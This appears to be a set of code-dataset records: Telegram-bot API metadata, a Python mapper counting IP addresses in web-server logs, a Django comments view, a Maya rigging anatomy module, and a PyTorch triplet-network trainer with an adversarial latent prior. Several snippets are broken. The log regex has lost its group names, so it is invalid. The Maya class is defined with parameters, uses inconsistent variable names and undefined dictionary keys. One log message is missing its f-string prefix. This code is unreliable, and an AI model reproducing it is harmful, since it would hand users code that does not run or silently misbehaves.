"database.db.child", "line_number": 45, "usage_type": "call"}, {"api_name": "database.db", "line_number": 45, "usage_type": "name"}, {"api_name": "telegram.Update", "line_number": 56, "usage_type": "name"}, {"api_name": "telegram.ext.CallbackContext", "line_number": 56, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 57, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 62, "usage_type": "call"}, {"api_name": "database.db", "line_number": 62, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 64, "usage_type": "call"}, {"api_name": "database.db", "line_number": 64, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 65, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 67, "usage_type": "call"}, {"api_name": "database.db", "line_number": 67, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 70, "usage_type": "call"}, {"api_name": "database.db", "line_number": 70, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 79, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 88, "usage_type": "call"}, {"api_name": "telegram.Update", "line_number": 93, "usage_type": "name"}, {"api_name": "telegram.ext.CallbackContext", "line_number": 93, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 94, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 98, "usage_type": "call"}, {"api_name": "database.db", "line_number": 98, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 100, "usage_type": "call"}, {"api_name": "database.db", "line_number": 100, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 102, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 104, "usage_type": "call"}, {"api_name": "database.db", "line_number": 104, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 105, "usage_type": "call"}, {"api_name": "database.db", "line_number": 105, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 106, "usage_type": "call"}, {"api_name": "telegram.Update", "line_number": 109, "usage_type": "name"}, {"api_name": "telegram.ext.CallbackContext", "line_number": 109, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 110, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 114, "usage_type": "call"}, {"api_name": "database.db", "line_number": 114, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 116, "usage_type": "call"}, {"api_name": "database.db", "line_number": 116, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 118, "usage_type": "call"}, {"api_name": "database.db.child", "line_number": 120, "usage_type": "call"}, {"api_name": "database.db", "line_number": 120, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 121, "usage_type": "call"}, {"api_name": "database.db", "line_number": 121, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 122, "usage_type": "call"}]} {"seq_id": "386531775", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 4 14:21:47 2016\n\n@author: gopan\n\"\"\"\nfrom collections import defaultdict\nimport re\nimport sys\n\n\ndef mapper():\n # s = ('10.223.157.186 - - [15/Jul/2009:15:50:35 -0700] \"GET '\n # '/assets/js/lowpro.js HTTP/1.1\" 200 10469')\n\n collect = defaultdict(int)\n rec = re.compile(r\"(?P[\\d.]+) (?P\\S+) (?P\\S+) \"\n \"\\[(?P\\S+) (?P\\S+)\\] \\\"(?P\\w+) \"\n \"(?P\\S+) (?P\\S+)\\\" (?P\\d+) \"\n \"(?P\\S+)\")\n\n for line in sys.stdin:\n match = re.search(rec, line)\n if not match:\n continue\n cat = match.group('ip')\n collect[cat] += 1\n\n for cat in collect:\n print(\"{0}\\t{1}\".format(cat, collect[cat]))\n\nmapper()\n", "sub_path": "map_log_ip.py", "file_name": "map_log_ip.py", "file_ext": "py", "file_size_in_byte": 837, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 23, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 24, "usage_type": "call"}]} {"seq_id": "71471449", "text": "from django.shortcuts import render, reverse, redirect\nfrom Profile.models import Profile\nfrom .forms import CommentForm\nfrom .models import comment\nfrom Profile.views import profile\n\n# Create your views here.\n\ndef comments(request):\n user = Profile.objects.filter(user=request.user)\n user_comment = comment.objects.filter(user=request.user)\n\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect(reverse('comments'))\n else:\n form = CommentForm()\n\n context = {\n 'user': user,\n 'user_comment': user_comment,\n 'form': form,\n }\n\n return render(request, 'comments.html', context)\n", "sub_path": "comments/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 722, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Profile.models.Profile.objects.filter", "line_number": 10, "usage_type": "call"}, {"api_name": "Profile.models.Profile.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Profile.models.Profile", "line_number": 10, "usage_type": "name"}, {"api_name": "models.comment.objects.filter", "line_number": 11, "usage_type": "call"}, {"api_name": "models.comment.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.comment", "line_number": 11, "usage_type": "name"}, {"api_name": "forms.CommentForm", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 17, "usage_type": "call"}, {"api_name": "forms.CommentForm", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}]} {"seq_id": "565383446", "text": "#! /usr/bin/env python\r\n# -*- coding: UTF8 -*-\r\n\r\n\"\"\"\r\nanatomy.py\r\nDescription: Manage the anatomical components of a rig\r\nSyntax: Called through the maya 2013 command line as a python module\r\nAlgorithm: None\r\nUsage example: 'rt.anatomy.*part*()'\r\n\r\nThis script takes several arguments and prints out any errors that might occur\r\nduring processing\r\n\"\"\"\r\n\r\n#==============================================================================\r\n# auther: Teddy Dlukulu\r\n# version: 0.1\r\n# status: prototype\r\n# date: 11/07/2013\r\n# maintainer: \"www.teddydlukulu.com\"\r\n# credits: \"Thanks to Everyone\"\r\n# Platform: Maya 2013\r\n# Python Version: 2.7.5\r\n#==============================================================================\r\n\r\n\"\"\"\r\nThe following classes describe the various states and properties held in each\r\nknown anatomical part in the rig. The script is to be either copied and\r\nrenamed for each instance of the rig then stored into a project specific folder,\r\nor instantiated and used locally by the referencing script.\r\n\r\nSetting a value:\r\nboneName['property'] = 'value'\r\n\"\"\"\r\n\r\nimport maya.cmds as mc\r\nfrom RtLib import bones\r\n\r\ntoolsFolder = \"G:\\\\RigTools\\\\Python\"\r\n\r\n# Property storage template for skeleton\r\nclass bone(joint, count = 1):\r\n # Get the reference geometry\r\n bneloc = joint.replace(\"Bne\", \"BneLoc\")\r\n \r\n # Transforms \r\n transform = {trnX: mc.getAttr('%s.translateX' % joint), \\\r\n trnY: mc.getAttr('%s.translateY' % joint), \\\r\n trnZ: mc.getAttr('%s.translateZ' % joint), \\\r\n rotX: mc.getAttr('%s.rotateX' % joint), \\\r\n rotY: mc.getAttr('%s.rotateY' % joint), \\\r\n rotZ: mc.getAttr('%s.rotateZ' % joint), \\\r\n sclX: mc.getAttr('%s.scaleX' % joint), \\\r\n sclY: mc.getAttr('%s.scaleY' % joint), \\\r\n sclZ: mc.getAttr('%s.scaleZ' % joint)}\r\n \r\n # Position in world space\r\n position = {posX: '%s.translateX' % bneLoc, \\\r\n posY: '%s.translateY' % bneLoc, \\\r\n posZ: '%s.translateZ' % bneLoc}\r\n \r\n # Set the names of the geomatry referenced by the joint\r\n # Generic bone properties dictionary:\r\n properties = {geo: joint, \\\r\n loc: bneLoc, \\\r\n file: toolsFolder + \"\\\\RtSetup\\\\RtAssets\\\\bneLib\\\\%s\" % (joint + \".ma\"), \\\r\n parent: 'bones.%s[parent]' % joint, \\\r\n child: 'bones.%s[child]' % joint, \\\r\n description: 'bones.%s[description]' % joint, \\\r\n parentConst: 'bones.%s[parentConst]' % joint, \\\r\n fkControl: 'bones.%s[fkCtrl]' % joint, \\\r\n ikControl: 'bones.%s[ikCtrl]' % joint, \\\r\n useLimit: False, \\\r\n limitX: 'bones.%s[lim[0]]' % joint, \\\r\n limitY: 'bones.%s[lim[1]]' % joint, \\\r\n limitZ: 'bones.%s[lim[2]]' % joint, \\\r\n limitOffset: (0.0, 0.0, 0.0), \\\r\n jntBnd: joint.replace(\"Bne\", \"JntBnd\"), \\\r\n jntFk: joint.replace(\"Bne\", \"JntFk%i\" % count), \\\r\n jntIk: joint.replace(\"Bne\", \"JntIk%i\" % count), \\\r\n jntMk: joint.replace(\"Bne\", \"JntMk%i\" % count), \\\r\n jntTk: joint.replace(\"Bne\", \"JntTk%i\" % count), \\\r\n ctlFk: joint.replace(\"Bne\", \"CtlFk%i\" % count), \\\r\n ctlIk: joint.replace(\"Bne\", \"CtlIk%i\" % count), \\\r\n CtlMk: joint.replace(\"Bne\", \"CtlMk%i\" % count), \\\r\n CtlTk: joint.replace(\"Bne\", \"CtlTk%i\" % count)}\r\n\r\nclass direction():\r\n # hand placement definitions\r\n handPlaceDef = {\"inferiorly\": 'palm down', \\\r\n \"superiorly\": 'palm up', \\\r\n \"medially\": 'palm in', \\\r\n \"laterally\": 'palm out', \\\r\n \"posteriorly\": 'palm back', \\\r\n \"anteriorly\": 'palm foreward'}\r\n \r\n # anatomical direction definitions\r\n anatomicalDirecttion = {\"anterior\": 'foreward', \\\r\n \"posterior\": 'backward', \\\r\n \"superior\": 'upward', \\\r\n \"inferior\": 'downward', \\\r\n \"median\": 'inward', \\\r\n \"lateral\": 'outward'}\r\n \r\n # relative proximity definitions\r\n relativeProximity = {\"proximal\": 'closer to midsaggital', \\\r\n \"distal\": 'further from midsaggital', \\\r\n \"cranial\": 'towards the head', \\\r\n \"caudal\": 'towards the tail end', \\\r\n \"ventral\": 'towards the belly', \\\r\n \"dorsal\": 'towards the backside'}\r\n \r\n # anatomical plane definitions\r\n anatomicalPlanes = {\"coronal\": 'fornt & back', \\\r\n \"midsaggital\": 'left & right', \\\r\n \"transverse\": 'top & bottom'}\r\n \r\n # joint motion definition\r\n # description\r\n jntMotDescription = \"All movements are relative to the vector of their parent joint\"\r\n # definition\r\n jointMotion = {\"flexion\": 'decrease the angle between 2 articulating joints', \\\r\n \"extension\": 'increase the angle between 2 articulating joints', \\\r\n \"abduction\": 'move the joint away from the midsaggital', \\\r\n \"adduction\": 'move the joint towards the midsaggital', \\\r\n \"rotation\": 'the joint twists around its own axis', \\\r\n \"circumduction\": 'the distal end moves around its proximal', \\\r\n \"supination\": 'rotate the hand so that palm is superior', \\\r\n \"pronation\": 'rotate the hand so that the palm is inferior', \\\r\n \"inversion\": 'turn the foot so that the sole faces inwards', \\\r\n \"eversion\": 'turn the foot so that the sole faces outwards', \\\r\n \"elevation\": 'raising a body part', \\\r\n \"depression\": 'lowering a body part', \\\r\n \"protraction\": 'jut a body part out', \\\r\n \"retraction\": 'jut a body part in', \\\r\n \"hyperextension\": 'beyond the normal extension', \\\r\n \"planter flexion\": 'extension of the foot away from the transverse plane', \\\r\n \"dorsiflexion\": 'retraction of the foot towards the transverse plane'}\r\n # types\r\n angularJntTypes = ['hinge', 'ellipsoidal', 'saddle']\r\n jointMotionTypes = {\"arthrodial\": 'gliding joint', \\\r\n \"angular\": 'hinge, ellipsoidal, saddle', \\\r\n \"hinge\": 'single axis (mono-axial)', \\\r\n \"ellipsoidal\": 'double axis (bi-axial)', \\\r\n \"saddle\": '3+ axis (multi-axial)', \\\r\n \"pivot\": 'multidirectional rotation (multi-axial)', \\\r\n \"ball & socket\": 'complex rotation (multi-axial/spheroidal)'}\r\n \r\n # creature chatacteristic definitions\r\n # leg count definitions\r\n legCount = {\"bipedal\": '2 legs', \\\r\n \"quadropedal\": '4 legs'}\r\n # thorax placement\r\n thoraxOrientation = {\"orthograde\": 'shoulders above hips', \\\r\n \"pronograde\": 'shoulders in front of hips'}\r\n # creature types\r\n creatureType = {\"aquatic\": 'swimmer', \\\r\n \"volant\": 'flyer', \\\r\n \"cursorial\": 'runner', \\\r\n \"scansorial\": 'climber', \\\r\n \"saltatorial\": 'hopper', \\\r\n \"fossorial\": 'digger'}", "sub_path": "maya_tools/anatomy.py", "file_name": "anatomy.py", "file_ext": "py", "file_size_in_byte": 7843, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "maya.cmds.getAttr", "line_number": 47, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 47, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 48, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 48, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 49, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 49, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 50, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 50, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 51, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 51, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 52, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 52, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 53, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 53, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 54, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 54, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 55, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 55, "usage_type": "name"}]} {"seq_id": "283474307", "text": "# ELEKTRONN3 - Neural Network Toolkit\n#\n# Copyright (c) 2017 - now\n# Max Planck Institute of Neurobiology, Munich, Germany\n# Authors: Philipp Schubert, Martin Drawitsch\n\n# TODO: This module needs to be adapted to recent Trainer changes.\n# It might not work as intended in this current state.\n\nimport os\nimport traceback\nfrom typing import Tuple, Dict, Optional\nimport inspect\nimport IPython\nimport torch\nfrom torch.autograd import Variable\nimport torch.utils.data\nfrom elektronn3.training.train_utils import Timer, pretty_string_time\nfrom elektronn3.training.trainer import Trainer, logger, NaNException\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport time\nfrom .handlers import _get_batch2img_function, plot_image\nfrom PIL import Image\nimport io\n\n\nclass TripletNetTrainer(Trainer):\n \"\"\"\n Args:\n alpha: l2-norm regularization weight\n\n \"\"\"\n def __init__(self, alpha=1e-3, alpha2=.05, latent_distr=None,\n *args, **kwargs):\n if len(args) > 0:\n raise ValueError(\"Please provide keyword arguments for \"\n \"TripletNetTrainer init only.\")\n model_discr = kwargs[\"model\"][1]\n optim_discr = kwargs[\"optimizer\"][1]\n criterion_discr = kwargs[\"criterion\"][1]\n kwargs[\"model\"] = kwargs[\"model\"][0]\n kwargs[\"optimizer\"] = kwargs[\"optimizer\"][0]\n kwargs[\"criterion\"] = kwargs[\"criterion\"][0]\n super().__init__(**kwargs)\n self.alpha = alpha\n self.alpha2 = alpha2\n self.model_discr = model_discr.to(self.device)\n self.optimizer_discr = optim_discr\n self.criterion_discr = criterion_discr\n if latent_distr is None:\n latent_distr = lambda n, z: torch.randn(n, z) # draw from N(0, 1)\n self.latent_distr = latent_distr\n\n # overwrite train and validate method\n def run(self, max_steps: int = 1) -> None:\n \"\"\"Train the network for ``max_steps`` steps.\n\n After each training epoch, validation performance is measured and\n visualizations are computed and logged to tensorboard.\"\"\"\n while self.step < max_steps:\n try:\n # --> self.train()\n self.model.train()\n\n # Scalar training stats that should be logged and written to tensorboard later\n stats: Dict[str, float] = {'tr_loss_G': .0,\n 'tr_loss_D': .0}\n # Other scalars to be logged\n misc: Dict[str, float] = {'G_loss_advreg': .0,\n 'G_loss_tnet': .0,\n 'G_loss_l2': .0,\n 'D_loss_fake': .0,\n 'D_loss_real': .0\n }\n # Hold image tensors for real-time training sample visualization in tensorboard\n images: Dict[str, torch.Tensor] = {}\n\n running_error = 0\n running_mean_target = 0\n running_vx_size = 0\n timer = Timer()\n latent_points_fake = []\n latent_points_real = []\n for inp in self.train_loader: # ref., pos., neg. samples\n if inp.size()[1] != 3:\n raise ValueError(\"Data must not contain targets. \"\n \"Input data shape is assumed to be \"\n \"(N, 3, ch, x, y), where the first two\"\n \" images in each sample is the similar\"\n \" pair, while the third one is the \"\n \"distant one.\")\n inp0 = Variable(inp[:, 0].to(self.device))\n inp1 = Variable(inp[:, 1].to(self.device))\n inp2 = Variable(inp[:, 2].to(self.device))\n self.optimizer.zero_grad()\n # forward pass\n dA, dB, z0, z1, z2 = self.model(inp0, inp1, inp2)\n z_fake_gauss = torch.squeeze(torch.cat((z0, z1, z2), dim=1))\n target = torch.FloatTensor(dA.size()).fill_(-1).to(self.device)\n target = Variable(target)\n loss = self.criterion(dA, dB, target)\n L_l2 = torch.mean(torch.cat((z0.norm(1, dim=1), z1.norm(1, dim=1), z2.norm(1, dim=1)), dim=0))\n misc['G_loss_l2'] += self.alpha * float(L_l2)\n loss = loss + self.alpha * L_l2\n misc['G_loss_tnet'] += (1 - self.alpha2) * float(loss) # log actual loss\n if torch.isnan(loss):\n logger.error('NaN loss detected after {self.step} '\n 'steps! Aborting training.')\n raise NaNException\n\n\n # Adversarial part to enforce latent variable distribution\n # to be Normal / whatever prior is used\n if self.alpha2 > 0:\n self.optimizer_discr.zero_grad()\n # adversarial labels\n valid = Variable(torch.Tensor(inp0.size()[0], 1).fill_(1.0),\n requires_grad=False).to(self.device)\n fake = Variable(torch.Tensor(inp0.shape[0], 1).fill_(0.0),\n requires_grad=False).to(self.device)\n\n # --- Generator / TripletNet\n self.model_discr.eval()\n # TripletNet latent space should be classified as valid\n L_advreg = self.criterion_discr(self.model_discr(z_fake_gauss), valid)\n # average adversarial reg. and triplet-loss\n loss = (1 - self.alpha2) * loss + self.alpha2 * L_advreg\n # perform generator step\n loss.backward()\n self.optimizer.step()\n\n # --- Discriminator\n self.model.eval()\n self.model_discr.train()\n # rebuild graph (model output) to get clean backprop.\n z_real_gauss = Variable(self.latent_distr(inp0.size()[0], z0.size()[-1] * 3)).to(self.device)\n _, _, z_fake_gauss0, z_fake_gauss1, z_fake_gauss2 = self.model(inp0, inp1, inp2)\n z_fake_gauss = torch.squeeze(torch.cat((z_fake_gauss0, z_fake_gauss1, z_fake_gauss2), dim=1))\n # Compute discriminator outputs and loss\n L_real_gauss = self.criterion_discr(self.model_discr(z_real_gauss), valid)\n L_fake_gauss = self.criterion_discr(self.model_discr(z_fake_gauss), fake)\n L_discr = 0.5 * (L_real_gauss + L_fake_gauss)\n L_discr.backward() # Backprop loss\n self.optimizer_discr.step() # Apply optimization step\n self.model.train() # set back to training mode\n\n\n # # clean and report\n L_discr.detach()\n L_advreg.detach()\n L_real_gauss.detach()\n L_fake_gauss.detach()\n stats['tr_loss_D'] += float(L_discr)\n misc['G_loss_advreg'] += self.alpha2 * float(L_advreg) # log actual part of advreg\n misc['D_loss_real'] += float(L_real_gauss)\n misc['D_loss_fake'] += float(L_fake_gauss)\n latent_points_real.append(z_real_gauss.detach().cpu().numpy())\n else:\n loss.backward()\n self.optimizer.step()\n\n latent_points_fake.append(z_fake_gauss.detach().cpu().numpy())\n # # Prevent accidental autograd overheads after optimizer step\n inp.detach()\n target.detach()\n dA.detach()\n dB.detach()\n z0.detach()\n z1.detach()\n z2.detach()\n loss.detach()\n L_l2.detach()\n\n # get training performance\n stats['tr_loss_G'] += float(loss)\n error = calculate_error(dA, dB)\n mean_target = target.to(torch.float32).mean()\n print(f'{self.step:6d}, loss: {loss:.4f}', end='\\r')\n self._tracker.update_timeline([self._timer.t_passed, float(loss), mean_target])\n\n # Preserve training batch and network output for later visualization\n images['inp_ref'] = inp0.cpu().numpy()\n images['inp_+'] = inp1.cpu().numpy()\n images['inp_-'] = inp2.cpu().numpy()\n # this was changed to support ReduceLROnPlateau which does not implement get_lr\n misc['learning_rate_G'] = self.optimizer.param_groups[0][\"lr\"] # .get_lr()[-1]\n misc['learning_rate_D'] = self.optimizer_discr.param_groups[0][\"lr\"] # .get_lr()[-1]\n # update schedules\n for sched in self.schedulers.values():\n # support ReduceLROnPlateau; doc. uses validation loss instead\n # http://pytorch.org/docs/master/optim.html#torch.optim.lr_scheduler.ReduceLROnPlateau\n if \"metrics\" in inspect.signature(sched.step).parameters:\n sched.step(metrics=float(loss))\n else:\n sched.step()\n running_error += error\n running_mean_target += mean_target\n running_vx_size += inp.numel()\n\n self.step += 1\n if self.step >= max_steps:\n break\n stats['tr_err_G'] = float(running_error) / len(self.train_loader)\n stats['tr_loss_G'] /= len(self.train_loader)\n stats['tr_loss_D'] /= len(self.train_loader)\n misc['G_loss_advreg'] /= len(self.train_loader)\n misc['G_loss_tnet'] /= len(self.train_loader)\n misc['G_loss_l2'] /= len(self.train_loader)\n misc['D_loss_fake'] /= len(self.train_loader)\n misc['D_loss_real'] /= len(self.train_loader)\n misc['tr_speed'] = len(self.train_loader) / timer.t_passed\n misc['tr_speed_vx'] = running_vx_size / timer.t_passed / 1e6 # MVx\n mean_target = running_mean_target / len(self.train_loader)\n if (self.valid_dataset is None) or (1 != np.random.randint(0, 10)): # only validate 10% of the times\n stats['val_loss_G'], stats['val_err_G'] = float('nan'), float('nan')\n else:\n stats['val_loss_G'], stats['val_err_G'] = self._validate()\n # TODO: Report more metrics, e.g. dice error\n\n # Update history tracker (kind of made obsolete by tensorboard)\n # TODO: Decide what to do with this, now that most things are already in tensorboard.\n if self.step // len(self.train_dataset) > 1:\n tr_loss_gain = self._tracker.history[-1][2] - stats['tr_loss_G']\n else:\n tr_loss_gain = 0\n self._tracker.update_history([\n self.step, self._timer.t_passed, stats['tr_loss_G'], stats['val_loss_G'],\n tr_loss_gain, stats['tr_err_G'], stats['val_err_G'], misc['learning_rate_G'], 0, 0\n ]) # 0's correspond to mom and gradnet (?)\n t = pretty_string_time(self._timer.t_passed)\n loss_smooth = self._tracker.loss._ema\n\n # Logging to stdout, text log file\n text = \"%05i L_m=%.3f, L=%.2f, tr=%05.2f%%, \" % (self.step, loss_smooth, stats['tr_loss_G'], stats['tr_err_G'])\n text += \"vl=%05.2f%s, prev=%04.1f, L_diff=%+.1e, \" % (stats['val_err_G'], \"%\", mean_target * 100, tr_loss_gain)\n text += \"LR=%.2e, %.2f it/s, %.2f MVx/s, %s\" % (misc['learning_rate_G'], misc['tr_speed'], misc['tr_speed_vx'], t)\n logger.info(text)\n\n # Plot tracker stats to pngs in save_path\n self._tracker.plot(self.save_path)\n\n # Reporting to tensorboard logger\n if self.tb:\n self._tb_log_scalars(stats, 'stats')\n self._tb_log_scalars(misc, 'misc')\n self.tb_log_sample_images(images, group='tr_samples')\n\n # save histrograms\n if len(latent_points_fake) > 0:\n fig, ax = plt.subplots()\n sns.distplot(np.concatenate(latent_points_fake).flatten())\n # plt.savefig(os.path.join(self.save_path,\n # 'latent_fake_{}.png'.format(self.step)))\n fig.canvas.draw()\n img_data = np.array(fig.canvas.renderer._renderer)\n self.tb.add_figure(f'latent_distr/latent_fake', plot_image(img_data),\n global_step=self.step)\n plt.close()\n\n if len(latent_points_real) > 0:\n fig, ax = plt.subplots()\n sns.distplot(np.concatenate(latent_points_real).flatten())\n # plt.savefig(os.path.join(self.save_path,\n # 'latent_real_{}.png'.format(self.step)))\n fig.canvas.draw()\n img_data = np.array(fig.canvas.renderer._renderer)\n self.tb.add_figure(f'latent_distr/latent_real', plot_image(img_data),\n global_step=self.step)\n plt.close()\n\n # grab the pixel buffer and dump it into a numpy array\n\n # Save trained model state\n torch.save(\n self.model.state_dict(),\n # os.path.join(self.save_path, f'model-{self.step:06d}.pth') # Saving with different file names leads to heaps of large files,\n os.path.join(self.save_path, 'model-checkpoint.pth')\n )\n # TODO: Also save \"best\" model, not only the latest one, which is often overfitted.\n # -> \"best\" in which regard? Lowest validation loss, validation error?\n # We can't blindly trust these metrics and may have to calculate\n # additional metrics (with focus on object boundary correctness).\n except KeyboardInterrupt:\n IPython.embed(header=self._shell_info)\n if self.terminate:\n return\n except Exception as e:\n traceback.print_exc()\n if self.ignore_errors:\n # Just print the traceback and try to carry on with training.\n # This can go wrong in unexpected ways, so don't leave the training unattended.\n pass\n elif self.ipython_shell:\n print(\"\\nEntering Command line such that Exception can be \"\n \"further inspected by user.\\n\\n\")\n IPython.embed(header=self._shell_info)\n if self.terminate:\n return\n else:\n raise e\n torch.save(\n self.model.state_dict(),\n os.path.join(self.save_path, f'model-final-{self.step:06d}.pth')\n )\n\n def _tb_log_scalars(\n self,\n scalars: Dict[str, float],\n tag: str = 'default'\n ) -> None:\n for key, value in scalars.items():\n self.tb.add_scalar(f'{tag}/{key}', value, self.step)\n\n def _validate(self) -> Tuple[float, float]:\n self.model.eval() # Set dropout and batchnorm to eval mode\n start = time.time()\n val_loss = 0.\n incorrect = 0.\n for inp in self.valid_loader:\n inp0 = inp[:, 0].to(self.device)\n inp1 = inp[:, 1].to(self.device)\n inp2 = inp[:, 2].to(self.device)\n with torch.no_grad():\n dA, dB, z0, z1, z2 = self.model(inp0, inp1, inp2)\n target = torch.FloatTensor(dA.size()).fill_(-1).to(self.device)\n target = Variable(target)\n val_loss += float(self.criterion(dA, dB, target))\n incorrect += calculate_error(dA, dB)\n val_loss /= len(self.valid_loader) # loss function already averages over batch size\n val_err = incorrect / len(self.valid_loader)\n self.tb_log_sample_images(\n {'inp_ref': inp0.detach().cpu().numpy(),\n 'inp_+': inp1.detach().cpu().numpy(),\n 'inp_-': inp2.detach().cpu().numpy()},\n group='val_samples'\n )\n\n self.model.train() # Reset model to training mode\n dtime = time.time() - start\n print(\"Validation of {} samples took {}s.\".format(len(self.valid_loader), dtime))\n return val_loss, val_err\n\n # TODO: There seems to be an issue with inp-target mismatches when batch_size > 1\n def tb_log_sample_images(\n self,\n images: Dict[str, np.ndarray],\n z_plane: Optional[int] = None,\n group: str = 'sample'\n ) -> None:\n \"\"\"Preview from last training/validation sample\n\n Since the images are chosen randomly from the training/validation set\n they come from random regions in the data set.\n\n Note: Training images are possibly augmented, so the plots may look\n distorted/weirdly colored.\n \"\"\"\n batch2img_ref = _get_batch2img_function(images['inp_ref'], z_plane)\n batch2img_neg = _get_batch2img_function(images['inp_-'], z_plane)\n batch2img_pos = _get_batch2img_function(images['inp_+'], z_plane)\n inp_ref = batch2img_ref(images['inp_ref'])[0]\n inp_neg = batch2img_neg(images['inp_-'])[0]\n inp_pos = batch2img_pos(images['inp_+'])[0]\n self.tb.add_figure(f'{group}/inp_ref', plot_image(inp_ref, cmap='gray'),\n global_step=self.step)\n self.tb.add_figure(f'{group}/inp_-', plot_image(inp_neg, cmap='gray'),\n global_step=self.step)\n self.tb.add_figure(f'{group}/inp_+', plot_image(inp_pos, cmap='gray'),\n global_step=self.step)\n\n\ndef calculate_error(dista, distb):\n margin = 0\n pred = (distb - dista - margin).cpu().data\n return np.array((pred <= 0).sum(), dtype=np.float32) / np.prod(dista.size()) * 100.\n", "sub_path": "elektronn3/training/trainer_tnet.py", "file_name": "trainer_tnet.py", "file_ext": "py", "file_size_in_byte": 19040, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "elektronn3.training.trainer.Trainer", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 53, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 68, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 78, "usage_type": "attribute"}, {"api_name": "elektronn3.training.train_utils.Timer", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.isnan", "line_number": 108, "usage_type": "call"}, {"api_name": "elektronn3.training.trainer.logger.error", "line_number": 109, "usage_type": "call"}, {"api_name": "elektronn3.training.trainer.logger", "line_number": 109, "usage_type": "name"}, {"api_name": "elektronn3.training.trainer.NaNException", "line_number": 111, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 179, "usage_type": "attribute"}, {"api_name": "inspect.signature", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 216, "usage_type": "call"}, 